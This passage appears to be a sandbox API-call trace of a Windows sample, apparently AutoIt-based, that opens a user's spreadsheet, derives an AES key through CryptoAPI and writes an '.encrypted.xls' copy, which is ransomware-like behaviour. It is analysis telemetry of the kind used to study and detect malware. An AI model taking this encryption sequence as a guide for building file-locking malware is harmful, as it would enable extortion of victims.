lpOverlapped=0x0) returned 1 [0023.969] CloseHandle (hObject=0x1fc) returned 1 [0023.970] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.970] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.970] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.970] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.970] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.970] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0023.971] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.971] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0023.972] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0023.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0023.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41789a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0023.972] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0023.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0023.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178520, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0023.972] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0023.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\b9SUel0k8A.xls", cchWideChar=46, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 46 [0023.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\b9SUel0k8A.xls", cchWideChar=46, lpMultiByteStr=0xe8f404ba10, cbMultiByte=46, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\b9SUel0k8A.xls", lpUsedDefaultChar=0x0) returned 46 [0023.972] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\b9SUel0k8A.xls" (normalized: "c:\\users\\5jghkoaofdp\\documents\\b9suel0k8a.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0023.973] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=46, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 46 [0023.973] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=46, lpWideCharStr=0xe8f4062330, cchWideChar=46 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\b9SUel0k8A.xls") returned 46 [0023.973] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0023.982] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.982] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.982] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0023.982] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0023.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0023.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178940, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0023.982] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0023.982] CloseHandle (hObject=0x1fc) returned 1 [0023.983] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0023.983] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.983] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.983] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0023.984] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.984] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0023.984] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0023.984] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.984] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.984] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.984] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.984] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.984] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.984] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0023.984] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0023.984] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.984] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.984] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.984] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.984] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.984] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.984] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.984] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.984] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.984] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.984] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0023.984] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.984] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.985] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.985] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0023.985] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.985] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.985] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.985] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.985] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.985] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0023.985] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.985] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633d0) returned 1 [0023.985] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.985] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.985] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0023.985] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.985] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.985] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.985] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.985] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.985] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.985] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.985] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.985] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.985] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.985] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.986] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.986] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0023.986] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.986] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.986] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.986] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.986] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.986] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.986] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.986] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.986] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.986] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.986] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.986] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.986] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.986] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.986] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.986] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.986] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.986] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.986] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.986] CryptCreateHash (in: hProv=0xe8f40633d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0023.986] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.986] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.986] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.986] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.986] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0023.986] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.986] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.986] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.987] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.987] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.987] CryptHashData (hHash=0xe8f4062b10, pbData=0xe8f418b180, dwDataLen=0x20, dwFlags=0x1) returned 1 [0023.987] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.987] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.987] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.987] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.987] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.987] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.987] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.987] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.987] CryptDeriveKey (in: hProv=0xe8f40633d0, Algid=0x660e, hBaseData=0xe8f4062b10, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4061c30) returned 1 [0023.987] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.987] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.987] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.987] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.987] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.987] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.987] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0023.987] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.987] CryptDestroyHash (hHash=0xe8f4062b10) returned 1 [0023.988] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.989] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.989] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.989] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.989] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.989] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\b9SUel0k8A.xls" (normalized: "c:\\users\\5jghkoaofdp\\documents\\b9suel0k8a.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0023.989] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.989] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0023.989] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.989] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.989] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.990] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\" (normalized: "c:\\users\\5jghkoaofdp\\documents")) returned 0x11 [0023.990] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\b9SUel0k8A.encrypted.xls" (normalized: "c:\\users\\5jghkoaofdp\\documents\\b9suel0k8a.encrypted.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0023.990] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.990] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.990] 